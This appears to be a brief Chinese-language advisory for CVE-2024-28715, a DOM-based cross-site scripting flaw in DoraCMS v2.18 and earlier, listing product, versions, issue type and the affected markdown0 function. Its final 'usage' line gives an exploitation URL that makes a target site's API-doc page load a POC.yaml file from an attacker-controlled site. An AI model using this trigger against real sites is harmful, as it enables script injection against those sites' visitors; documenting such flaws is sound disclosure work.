CVE-2024-28715

[CVE 编号]

CVE-2024-28715

[产品]

DoraCMS

[版本]

DoraCMS v2.18 及更早版本

[问题类型]

基于DOM的XSS

[描述]

DOraCMS v.2.18 及更早版本中存在跨站脚本漏洞，允许远程攻击者通过 /app/public/apidoc/oas3/wrap-components/markdown.jsx 端点中的 markdown0 函数执行任意代码。

[使用方式]

https://[target-site]/static/apidoc/index.html?url=https://[your-site]/POC.yaml